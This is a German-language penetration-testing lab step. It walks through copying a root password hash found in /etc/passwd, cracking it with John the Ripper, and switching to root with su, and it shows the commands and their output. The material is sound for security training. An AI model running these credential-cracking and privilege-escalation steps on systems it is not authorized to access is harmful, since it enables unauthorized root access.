In diesem Schritt werden wir lernen, wie man Privilegien erhöhen kann, wenn der Kennworthash des Root-Benutzers in der /etc/passwd
-Datei anstelle der /etc/shadow
-Datei gespeichert ist.
-
Zuerst richten wir die Lab-Umgebung ein. Öffnen Sie ein Terminal und navigieren Sie in das Verzeichnis /home/labex/project
:
Wenn Sie noch als new-user
angemeldet sind, können Sie den Befehl exit
verwenden, um die aktuelle Shell zu verlassen, bis Sie die labex
-Shell erreichen. Navigieren Sie dann in das Verzeichnis /home/labex/project
:
cd /home/labex/project
Führen Sie den folgenden Befehl aus, um die Lab-Umgebung einzurichten:
./env_setup2.sh
Dieser Befehl führt ein Skript aus, das die Lab-Umgebung einrichtet. Sie sollten eine Ausgabe sehen, die angibt, dass die Umgebung bereit ist.
-
Nach der Einrichtung werden Sie als Benutzer user001
angemeldet sein, was den Zugang zu einer anfänglichen Shell simuliert, der während eines Penetrationstests erlangt wurde.
Navigieren Sie in das Heimatverzeichnis des Benutzers user001
:
cd ~
-
Prüfen Sie die Berechtigungen der Dateien /etc/passwd
und /etc/shadow
:
ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow
Diesmal sind die Dateiberechtigungen korrekt
konfiguriert, und Sie haben nur Lesezugriff auf die /etc/passwd
-Datei.
-
Zeigen Sie den Inhalt der /etc/passwd
-Datei an, um den Kennworthash des Root-Benutzers zu finden:
cat /etc/passwd | grep ^root > ~/hash.txt
Prüfen Sie den Inhalt der Datei hash.txt
, indem Sie den folgenden Befehl ausführen:
cat ~/hash.txt
Erwartete Ausgabe:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
Beachten Sie, dass der Kennworthash des Root-Benutzers im zweiten Feld der /etc/passwd
-Datei gespeichert ist. Dies ist normalerweise das Ergebnis eines früheren Systemangriffs oder einer Fehlkonfiguration
durch den Systemadministrator.
-
Führen Sie jetzt john
aus, um den Hash zu knacken:
john ~/hash.txt > ~/cracked.txt
john
ist ein beliebtes Tool zum Knacken von Kennwörtern, das Wörterbuchangriffe verwendet, um Kennworthashes zu knacken. Die Ausgabe gibt an, ob das Kennwort erfolgreich geknackt wurde.
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Prüfen Sie den Inhalt der Datei cracked.txt
, um das geknackte Kennwort anzuzeigen:
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello (root)
Wie Sie sehen können, hat john
das Kennwort erfolgreich geknackt, das hello
ist.
-
Verwenden Sie den Befehl su
, um zum Root-Benutzer zu wechseln, und geben Sie das geknackte Kennwort ein, wenn Sie dazu aufgefordert werden:
su root
Geben Sie das Kennwort hello
ein, wenn Sie dazu aufgefordert werden. Sie sollten jetzt Root-Privilegien haben, wie sich an der Änderung der Eingabeaufforderung zeigt.
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#